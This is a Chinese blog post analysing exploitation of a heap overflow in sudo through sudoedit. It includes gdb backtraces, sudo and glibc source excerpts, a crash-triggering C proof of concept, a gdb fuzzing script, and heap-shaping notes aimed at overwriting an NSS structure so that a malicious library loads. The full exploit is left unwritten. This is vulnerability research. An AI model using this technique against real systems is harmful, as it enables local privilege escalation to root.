#1  0x00007fed1ccb0921 in __GI_abort () at abort.c:79
#2  0x00007fed1ccf9967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7fed1ce26b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007fed1cd009da in malloc_printerr (str=str@entry=0x7fed1ce28818 "double free or corruption (out)") at malloc.c:5342
#4  0x00007fed1cd07f6a in _int_free (have_lock=0, p=0x55b4d8b94b20, av=0x7fed1d05bc40 <main_arena>) at malloc.c:4308
#5  __GI___libc_free (mem=0x55b4d8b94b30) at malloc.c:3134
#6  0x00007fed1cc9d756 in setname (name=0x7fed1ce258e1 <_nl_C_name> "C", category=10) at setlocale.c:201
#7  __GI_setlocale (category=category@entry=6, locale=locale@entry=0x55b4d8b864a0 "C") at setlocale.c:386
#8  0x00007fed1bce4fe8 in sudoers_setlocale (locale_type=locale_type@entry=1, prev_locale=prev_locale@entry=0x7ffd39303aa0) at ../../../plugins/sudoers/locale.c:116
#9  0x00007fed1bcf68f4 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x55b4d8b80e50, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffd39303b20) at ../../../plugins/sudoers/sudoers.c:419
#10 0x00007fed1bcee8ec in sudoers_policy_check (argc=2, argv=0x55b4d8b80e50, env_add=0x0, command_infop=0x7ffd39303be0, argv_out=0x7ffd39303be8, user_env_out=0x7ffd39303bf0, errstr=0x7ffd39303c08) at ../../../plugins/sudoers/policy.c:1028
#11 0x000055b4d79ae6f0 in policy_check (user_env_out=0x7ffd39303bf0, argv_out=0x7ffd39303be8, command_info=0x7ffd39303be0, env_add=0x0, argv=0x55b4d8b80e50, argc=2) at ../../src/sudo.c:1171
#12 main (argc=argc@entry=3, argv=argv@entry=0x7ffd39303e78, envp=0x7ffd39303e98) at ../../src/sudo.c:269
#13 0x00007fed1cc91bf7 in __libc_start_main (main=0x55b4d79ae080 <main>, argc=3, argv=0x7ffd39303e78, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffd39303e68) at ../csu/libc-start.c:310
#14 0x000055b4d79b074a in _start ()

漏洞利用

nss调用链分析

  关于nss的漏洞利用方式如下所示:

  漏洞发现者提出的其中一种漏洞利用的方式,是通过覆写堆中service_user struct,然后通过nss_load_library函数加载恶意的动态链接库。对应的就是上面fuzz结果中的第一条路径:

4038    malloc.c: No such file or directory.
#0  _int_malloc (av=av@entry=0x7f170b772c40 <main_arena>, bytes=bytes@entry=384) at malloc.c:4038
#1  0x00007f170b4211f1 in __libc_calloc (n=<optimized out>, elem_size=<optimized out>) at malloc.c:3446
#2  0x00007f170bdc8026 in _dl_check_map_versions (map=<optimized out>, verbose=verbose@entry=0, trace_mode=trace_mode@entry=0) at dl-version.c:274
#3  0x00007f170bdcb3ec in dl_open_worker (a=a@entry=0x7ffd43dfcee0) at dl-open.c:284
#4  0x00007f170b4ee1ef in __GI__dl_catch_exception (exception=0x7ffd43dfcec0, operate=0x7f170bdcaf60 <dl_open_worker>, args=0x7ffd43dfcee0) at dl-error-skeleton.c:196
#5  0x00007f170bdca96a in _dl_open (file=0x7ffd43dfd150 "libnss_systemd.so.2", mode=-2147483647, caller_dlopen=0x7f170b4cf766 <nss_load_library+294>, nsid=<optimized out>, argc=3, argv=<optimized out>, env=0x7ffd43dfde48) at dl-open.c:605
#6  0x00007f170b4ed2bd in do_dlopen (ptr=ptr@entry=0x7ffd43dfd110) at dl-libc.c:96
#7  0x00007f170b4ee1ef in __GI__dl_catch_exception (exception=exception@entry=0x7ffd43dfd0b0, operate=operate@entry=0x7f170b4ed280 <do_dlopen>, args=args@entry=0x7ffd43dfd110) at dl-error-skeleton.c:196
#8  0x00007f170b4ee27f in __GI__dl_catch_error (objname=objname@entry=0x7ffd43dfd100, errstring=errstring@entry=0x7ffd43dfd108, mallocedp=mallocedp@entry=0x7ffd43dfd0ff, operate=operate@entry=0x7f170b4ed280 <do_dlopen>, args=args@entry=0x7ffd43dfd110) at dl-error-skeleton.c:215
#9  0x00007f170b4ed3e9 in dlerror_run (args=0x7ffd43dfd110, operate=0x7f170b4ed280 <do_dlopen>) at dl-libc.c:46
#10 __GI___libc_dlopen_mode (name=name@entry=0x7ffd43dfd150 "libnss_systemd.so.2", mode=mode@entry=-2147483647) at dl-libc.c:195
#11 0x00007f170b4cf766 in nss_load_library (ni=0x556ad9984ed0) at nsswitch.c:369
#12 0x00007f170b4cff68 in __GI___nss_lookup_function (ni=ni@entry=0x556ad9984ed0, fct_name=<optimized out>, fct_name@entry=0x7f170b53c250 "initgroups_dyn") at nsswitch.c:477
#13 0x00007f170b4677e7 in internal_getgrouplist (user=user@entry=0x556ad998d9c8 "root", group=group@entry=0, size=size@entry=0x7ffd43dfd2a8, groupsp=groupsp@entry=0x7ffd43dfd2b0, limit=limit@entry=-1) at initgroups.c:105
#14 0x00007f170b467ab1 in getgrouplist (user=user@entry=0x556ad998d9c8 "root", group=group@entry=0, groups=groups@entry=0x7f170bf74010, ngroups=ngroups@entry=0x7ffd43dfd304) at initgroups.c:169
#15 0x00007f170b99fbbd in sudo_getgrouplist2_v1 (name=0x556ad998d9c8 "root", basegid=0, groupsp=groupsp@entry=0x7ffd43dfd360, ngroupsp=ngroupsp@entry=0x7ffd43dfd35c) at ../../../lib/util/getgrouplist.c:98

  整个函数调用链就是这样的:

sudo_getgrouplist2_v1 -> getgrouplist -> internal_getgrouplist -> __GI__nss_lookup_function -> nss_load_library

  gdb中,让程序crash之后,跟进到sudo_getgrouplist2_v1函数中,sudo_getgrouplist2_v1中源码如下:

int
sudo_getgrouplist2_v1(const char *name, GETGROUPS_T basegid,
    GETGROUPS_T **groupsp, int *ngroupsp)
{
    GETGROUPS_T *groups = *groupsp;
    int ngroups;
#ifndef HAVE_GETGROUPLIST_2
    int grpsize, tries;
#endif

    /* For static group vector, just use getgrouplist(3). */
    if (groups != NULL)
    return getgrouplist(name, basegid, groups, ngroupsp);

#ifdef HAVE_GETGROUPLIST_2
    if ((ngroups = getgrouplist_2(name, basegid, groupsp)) == -1)
    return -1;
    *ngroupsp = ngroups;
    return 0;
#else
    grpsize = (int)sysconf(_SC_NGROUPS_MAX);
    if (grpsize < 0)
    grpsize = NGROUPS_MAX;
    grpsize++;    /* include space for the primary gid */
    /*
     * It is possible to belong to more groups in the group database
     * than NGROUPS_MAX.
     */
    for (tries = 0; tries < 10; tries++) {
    free(groups);
    groups = reallocarray(NULL, grpsize, sizeof(*groups));
    if (groups == NULL)
        return -1;
    ngroups = grpsize;
    if (getgrouplist(name, basegid, groups, &ngroups) != -1) {
        *groupsp = groups;
        *ngroupsp = ngroups;
        return 0;
    }
    if (ngroups == grpsize) {
        /* Failed for some reason other than ngroups too small. */
        break;
    }
    /* getgrouplist(3) set ngroups to the required length, use it. */
    grpsize = ngroups;
    }
    free(groups);
    return -1;
#endif /* HAVE_GETGROUPLIST_2 */
}

 

  如果groups值为0的话,就会调用reallocarray函数,从而触发malloc报错。groups变量是由传递进来的groupsp赋值的,所以需要看一下groupsp参数被传入之前,是如何被赋值的:

    if (sudo_user.max_groups > 0) {
  // sudo_user.max_groups大于0时,进入这一条分支 ngids
= sudo_user.max_groups; gids = reallocarray(NULL, ngids, sizeof(GETGROUPS_T)); if (gids == NULL) { sudo_debug_printf(SUDO_DEBUG_ERROR|SUDO_DEBUG_LINENO, "unable to allocate memory"); debug_return_ptr(NULL); } (void)sudo_getgrouplist2(pw->pw_name, pw->pw_gid, &gids, &ngids); } else { gids = NULL; if (sudo_getgrouplist2(pw->pw_name, pw->pw_gid, &gids, &ngids) == -1) { sudo_debug_printf(SUDO_DEBUG_ERROR|SUDO_DEBUG_LINENO, "unable to allocate memory"); debug_return_ptr(NULL); }

  关于reallocarray函数原型如下:

void *reallocarray(void *ptr, size_t nelem, size_t elsize);
The reallocarray() function behaves like realloc() except that the new size of the allocation will be large enough for an array of nelem elements of size elsize.
If padding is necessary to ensure proper alignment of entries in the array, the caller is responsible for including that in the elsize parameter.

  reallocarray函数会进行乘法溢出的检查,恰好sudo_getgrouplist2_v1函数调用reallocarray的时候就发生了一个乘法溢出,这就是最多的那条crash的路径。如何让poc规避这条路径成了我最迫切想要做的事情,需要再去调试研究一下堆布局。

int
getgrouplist (const char *user, gid_t group, gid_t *groups, int *ngroups)
{
  long int size = MAX (1, *ngroups);

  gid_t *newgroups = (gid_t *) malloc (size * sizeof (gid_t));
  if (__glibc_unlikely (newgroups == NULL))
    /* No more memory.  */
    // XXX This is wrong.  The user provided memory, we have to use
    // XXX it.  The internal functions must be called with the user
    // XXX provided buffer and not try to increase the size if it is
    // XXX too small.  For initgroups a flag could say: increase size.
    return -1;

  int total = internal_getgrouplist (user, group, &size, &newgroups, -1);
 ......
static int
internal_getgrouplist (const char *user, gid_t group, long int *size,
               gid_t **groupsp, long int limit)
{
#ifdef USE_NSCD
  if (__nss_not_use_nscd_group > 0
      && ++__nss_not_use_nscd_group > NSS_NSCD_RETRY)
    __nss_not_use_nscd_group = 0;
  if (!__nss_not_use_nscd_group
      && !__nss_database_custom[NSS_DBSIDX_group])
    {
      int n = __nscd_getgrouplist (user, group, size, groupsp, limit);
      if (n >= 0)
    return n;

      /* nscd is not usable.  */
      __nss_not_use_nscd_group = 1;
    }
#endif

  enum nss_status status = NSS_STATUS_UNAVAIL;
  int no_more = 0;

  /* Never store more than the starting *SIZE number of elements.  */
  assert (*size > 0);
  (*groupsp)[0] = group;
  /* Start is one, because we have the first group as parameter.  */
  long int start = 1;

  if (__nss_initgroups_database == NULL)
    {
      if (__nss_database_lookup ("initgroups", NULL, "",
                 &__nss_initgroups_database) < 0)
    {
      if (__nss_group_database == NULL)
        no_more = __nss_database_lookup ("group", NULL, DEFAULT_CONFIG,
                         &__nss_group_database);

      __nss_initgroups_database = __nss_group_database;
    }
      else
    use_initgroups_entry = true;
    }
  else
    /* __nss_initgroups_database might have been set through
       __nss_configure_lookup in which case use_initgroups_entry was
       not set here.  */
    use_initgroups_entry = __nss_initgroups_database != __nss_group_database;

  service_user *nip = __nss_initgroups_database;
  while (! no_more)
    {
      long int prev_start = start;

      initgroups_dyn_function fct = __nss_lookup_function (nip,
                               "initgroups_dyn");
......
}

  nss_load_library关键代码如下所示:

static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      /* This service has not yet been used.  Fetch the service
     library for it, creating a new one if need be.  If there
     is no service table from the file, this static variable
     holds the head of the service_library list made from the
     default configuration.  */
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
                     ni->name);
      if (ni->library == NULL)
    return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
              + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      if (ni->library->lib_handle == NULL)
    {
      /* Failed to load the library.  */
      ni->library->lib_handle = (void *) -1l;
      __set_errno (saved_errno);
    }

  满足ni->library != NULL ,ni->library->handler == NULL时,nss_load_library会调用__strcpy来拼接动态链接库名称,然后调用__libc_dlopen来加载恶意动态链接库文件。

堆风水

   编写如下poc,附加到gdb进行调试:

sudo gdb --args ./poc
#include<stdio.h>
#include<stdlib.h>

int main()
{
        char *env[]={"AAA","\\","BBB","\\",NULL};
        char *arg[]={"./sudoedit","-s","111111111111111\\"};
        execve("./sudoedit",arg,env);
        return 0;
}

  在setlocale函数处和sudoers.c:953处下断点,查看堆布局:

 

  复写的结构体,通过以下命令进行查找:

search -s systemd [heap]

  可以看到,service_user所在chunk在bins中chunk的低地址处,向后单步,申请处sudo_uasr.cmnd_user_args之后,查看堆布局:

   如果始终是这种堆布局的话,这个漏洞是无法利用的,heap是由低位向高位增长的空间,高位的溢出无法复写低位的地址。所以,要想成功利用堆溢出,sudo_user.cmnd_args就要申请到service_user的低位地址处。

  而改写堆布局的方法,是由setlocale函数来实现的。

setlocale函数

  setlocale函数原型如下:

char* setlocale (int category, const char* locale);

  setlocale() 函数既可以用来对当前程序进行地域设置(本地设置、区域设置),也可以用来获取当前程序的地域设置信息,使用setlocale需要两个参数,这两个参数实际上是一对键值对,第一个参数category参数用来设置地域设置的影响范围。地域设置包含日期格式、数字格式、货币格式、字符处理、字符比较等多个方面的内容,当前的地域设置可以只影响某一方面的内容,也可以影响所有的内容。第二个参数是字符串,就是category的值。

  关于setlocale函数:C setlocale函数

  setlocale函数源码在setlocale.c中,可以结合setlocale源码对setlocale的堆申请流程做进一步分析。当locale参数的值为NULL时,返回_nl_global_locale.__name字段,设置默认的地域信息"C",函数定义的局部变量中,locale_path是一个字符串类型指针,会被赋值为一个堆中的地址:

char *
setlocale (int category, const char *locale)
{
  char *locale_path;
  size_t locale_path_len;
  const char *locpath_var;
  if (__builtin_expect (category, 0) < 0
      || __builtin_expect (category, 0) >= __LC_LAST)
    ERROR_RETURN;

  /* Does user want name of current locale?  */
  if (locale == NULL)
    return (char *) _nl_global_locale.__names[category];

  当category等于LC_ALL且locale不为NULL时,setlocale函数会创建一个指针数组newnames,newnames中的元素被赋值为locale,locale参数的值是存放在堆中的,同时strdup会隐性调用malloc函数申请一块堆块locale_copy:

if (category == LC_ALL)
    {
      /* The user wants to set all categories.  The desired locales
     for the individual categories can be selected by using a
     composite locale name.  This is a semi-colon separated list
     of entries of the form `CATEGORY=VALUE'.  */
      const char *newnames[__LC_LAST];
      struct __locale_data *newdata[__LC_LAST];
      /* Copy of the locale argument, for in-place splitting.  */
      char *locale_copy = NULL;

      /* Set all name pointers to the argument name.  */
      for (category = 0; category < __LC_LAST; ++category)
    if (category != LC_ALL)
      newnames[category] = (char *) locale;

      if (__glibc_unlikely (strchr (locale, ';') != NULL))
    {
      /* This is a composite name.  Make a copy and split it up.  */
      locale_copy = __strdup (locale);

  fuzz脚本缺乏对环境变量的处理,导致了之前fuzz结果没有出现nss_load_library路径,修改后的脚本和输出结果如下:

import gdb
import random

categorys = ["LC_CTYPE","LC_MONETARY","LC_NUMERIC","LC_TIME"]
locales = ["C.UTF-8","en_US.UTF-8"]

class Generators:
    fuzz_input = ""
    env = ""

    def generate(self):
        self.env = ""
        self.fuzz_input = ""
        # create input
        count = random.randint(1,4)
        length = random.randint(0x10,0x280)
        self.fuzz_input = "'"+'A'*length+"\\"+"'"
        
        strategie = random.randint(1,2)
        if strategie == 1:
            self.env += "LC_ALL" + "="
            self.env += random.choice(locales)
            self.env += "@"*random.randint(0,0x70)
            '''
            if (__glibc_unlikely (strchr (locale, ';') != NULL))
            {
            /* This is a composite name.  Make a copy and split it up.  */
                locale_copy = __strdup (locale);
                if (__glibc_unlikely (locale_copy == NULL))
                {
                    __libc_rwlock_unlock (__libc_setlocale_lock);
                    return NULL;
                }
            '''
        else:
            num = random.randint(0,4)
            for i in range(num):
                self.env += categorys[i] + "="
                self.env += random.choice(locales)
                self.env += "@"*random.randint(0,0x10)
                if i != num:
                    self.env += ";"
        return self.fuzz_input,self.env

def loop(G):
    for i in range(2000):
        try:
            setargs,setenv = G.generate(G)
            print('\n%s'%setargs)
            gdb.execute("set env %s"%setenv)
            print("%s"%setenv)
            gdb.execute("r -s %s"%setargs)
            gdb.execute("bt")
        except Exception as e:
            print('\n%s\n'%e)

gdb.execute("set pagination off")
gdb.execute("set logging on ./crashlog.output")
G = Generators
loop(G)
gdb.execute("quit")
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\'
LC_ALL=en_US.UTF-8@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
2952    malloc.c: No such file or directory.
#0  tcache_get (tc_idx=2) at malloc.c:2952
#1  __GI___libc_malloc (bytes=42) at malloc.c:3060
#2  0x00007fb90a457598 in _dl_new_object (realname=realname@entry=0x55a240dffc30 "/lib/x86_64-linux-gnu/libnss_systemd.so.2", libname=libname@entry=0x7ffe9989d110 "libnss_systemd.so.2", type=type@entry=2, loader=<optimized out>, loader@entry=0x0, mode=mode@entry=-1879048191, nsid=nsid@entry=0) at dl-object.c:163
#3  0x00007fb90a451a05 in _dl_map_object_from_fd (name=name@entry=0x7ffe9989d110 "libnss_systemd.so.2", origname=origname@entry=0x0, fd=6, fbp=fbp@entry=0x7ffe9989c930, realname=0x55a240dffc30 "/lib/x86_64-linux-gnu/libnss_systemd.so.2", loader=loader@entry=0x0, l_type=2, mode=-1879048191, stack_endp=0x7ffe9989c928, nsid=0) at dl-load.c:998
#4  0x00007fb90a4541ac in _dl_map_object (loader=0x0, loader@entry=0x7fb90a64cf00, name=name@entry=0x7ffe9989d110 "libnss_systemd.so.2", type=type@entry=2, trace_mode=trace_mode@entry=0, mode=mode@entry=-1879048191, nsid=<optimized out>) at dl-load.c:2460
#5  0x00007fb90a460084 in dl_open_worker (a=a@entry=0x7ffe9989cea0) at dl-open.c:235
#6  0x00007fb909b831ef in __GI__dl_catch_exception (exception=0x7ffe9989ce80, operate=0x7fb90a45ff60 <dl_open_worker>, args=0x7ffe9989cea0) at dl-error-skeleton.c:196
#7  0x00007fb90a45f96a in _dl_open (file=0x7ffe9989d110 "libnss_systemd.so.2", mode=-2147483647, caller_dlopen=0x7fb909b64766 <nss_load_library+294>, nsid=<optimized out>, argc=3, argv=<optimized out>, env=0x7ffe9989de08) at dl-open.c:605
#8  0x00007fb909b822bd in do_dlopen (ptr=ptr@entry=0x7ffe9989d0d0) at dl-libc.c:96
#9  0x00007fb909b831ef in __GI__dl_catch_exception (exception=exception@entry=0x7ffe9989d070, operate=operate@entry=0x7fb909b82280 <do_dlopen>, args=args@entry=0x7ffe9989d0d0) at dl-error-skeleton.c:196
#10 0x00007fb909b8327f in __GI__dl_catch_error (objname=objname@entry=0x7ffe9989d0c0, errstring=errstring@entry=0x7ffe9989d0c8, mallocedp=mallocedp@entry=0x7ffe9989d0bf, operate=operate@entry=0x7fb909b82280 <do_dlopen>, args=args@entry=0x7ffe9989d0d0) at dl-error-skeleton.c:215
#11 0x00007fb909b823e9 in dlerror_run (args=0x7ffe9989d0d0, operate=0x7fb909b82280 <do_dlopen>) at dl-libc.c:46
#12 __GI___libc_dlopen_mode (name=name@entry=0x7ffe9989d110 "libnss_systemd.so.2", mode=mode@entry=-2147483647) at dl-libc.c:195
#13 0x00007fb909b64766 in nss_load_library (ni=0x55a240dfba10) at nsswitch.c:369
#14 0x00007fb909b64f68 in __GI___nss_lookup_function (ni=ni@entry=0x55a240dfba10, fct_name=<optimized out>, fct_name@entry=0x7fb909bd1250 "initgroups_dyn") at nsswitch.c:477
#15 0x00007fb909afc7e7 in internal_getgrouplist (user=user@entry=0x55a240e02c38 "root", group=group@entry=0, size=size@entry=0x7ffe9989d268, groupsp=groupsp@entry=0x7ffe9989d270, limit=limit@entry=-1) at initgroups.c:105
#16 0x00007fb909afcab1 in getgrouplist (user=user@entry=0x55a240e02c38 "root", group=group@entry=0, groups=groups@entry=0x7fb90a609010, ngroups=ngroups@entry=0x7ffe9989d2c4) at initgroups.c:169
#17 0x00007fb90a034bbd in sudo_getgrouplist2_v1 (name=0x55a240e02c38 "root", basegid=0, groupsp=groupsp@entry=0x7ffe9989d320, ngroupsp=ngroupsp@entry=0x7ffe9989d31c) at ./getgrouplist.c:98
#18 0x00007fb908ab7587 in sudo_make_gidlist_item (pw=0x55a240e02c08, unused1=<optimized out>, type=1) at ./pwutil_impl.c:269
#19 0x00007fb908ab626a in sudo_get_gidlist (pw=0x55a240e02c08, type=type@entry=1) at ./pwutil.c:926
#20 0x00007fb908aaf695 in runas_getgroups () at ./match.c:141
#21 0x00007fb908a9f2ce in runas_setgroups () at ./set_perms.c:1584
#22 set_perms (perm=perm@entry=5) at ./set_perms.c:275
#23 0x00007fb908a97ecc in sudoers_lookup (snl=0x7fb908cf4d80 <snl>, pw=0x55a240e02c08, cmnd_status=cmnd_status@entry=0x7fb908cf4d94 <cmnd_status>, pwflag=pwflag@entry=0) at ./parse.c:355
#24 0x00007fb908aa2912 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x55a240dfe950, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffe9989da90) at ./sudoers.c:420
#25 0x00007fb908a9a8ec in sudoers_policy_check (argc=2, argv=0x55a240dfe950, env_add=0x0, command_infop=0x7ffe9989db50, argv_out=0x7ffe9989db58, user_env_out=0x7ffe9989db60, errstr=0x7ffe9989db78) at ./policy.c:1028
#26 0x000055a23f40b6f0 in policy_check (user_env_out=0x7ffe9989db60, argv_out=0x7ffe9989db58, command_info=0x7ffe9989db50, env_add=0x0, argv=0x55a240dfe950, argc=2) at ./sudo.c:1171
#27 main (argc=argc@entry=3, argv=argv@entry=0x7ffe9989dde8, envp=0x7ffe9989de08) at ./sudo.c:269
#28 0x00007fb909a3dbf7 in __libc_start_main (main=0x55a23f40b080 <main>, argc=3, argv=0x7ffe9989dde8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe9989ddd8) at ../csu/libc-start.c:310
#29 0x000055a23f40d74a in _start ()

   设置好环境变量,在gdb中调试,等到crash之后,gdb调试函数调用栈,看到函数通过nss_load_library函数调用打开libnss_systemd.so这个动态链接库的时候发生崩溃。断点下到sudoers.c:953处,可以看到sudo在为命令行参数申请堆块之前的堆布局,同时查看ni->name字段在堆中的地址(查看systemd字符串),可以看到tachebin中存在一块chunk在ni->name字段的低地址处。如果可以申请到这一块chunk,同时控制溢出的长度和内容,那么我们就可以覆盖ni->name字段的内容,从而加载恶意的动态链接库。

  sudo_user.cmnd_args后紧跟着的就是环境变量的值,所以溢出的内容实际也是由环境变量控制的。

结语

  如何漏洞利用写exp,找时间补上来,最近没有时间来仔细琢磨了,暂时先分析到这里。

 

 

 

 

  

 

 

 

  

  

  

 

 

 

 

   

  

 

  

  

  

posted @ 2021-08-11 12:52  Riv4ille  阅读(360)  评论(1编辑  收藏  举报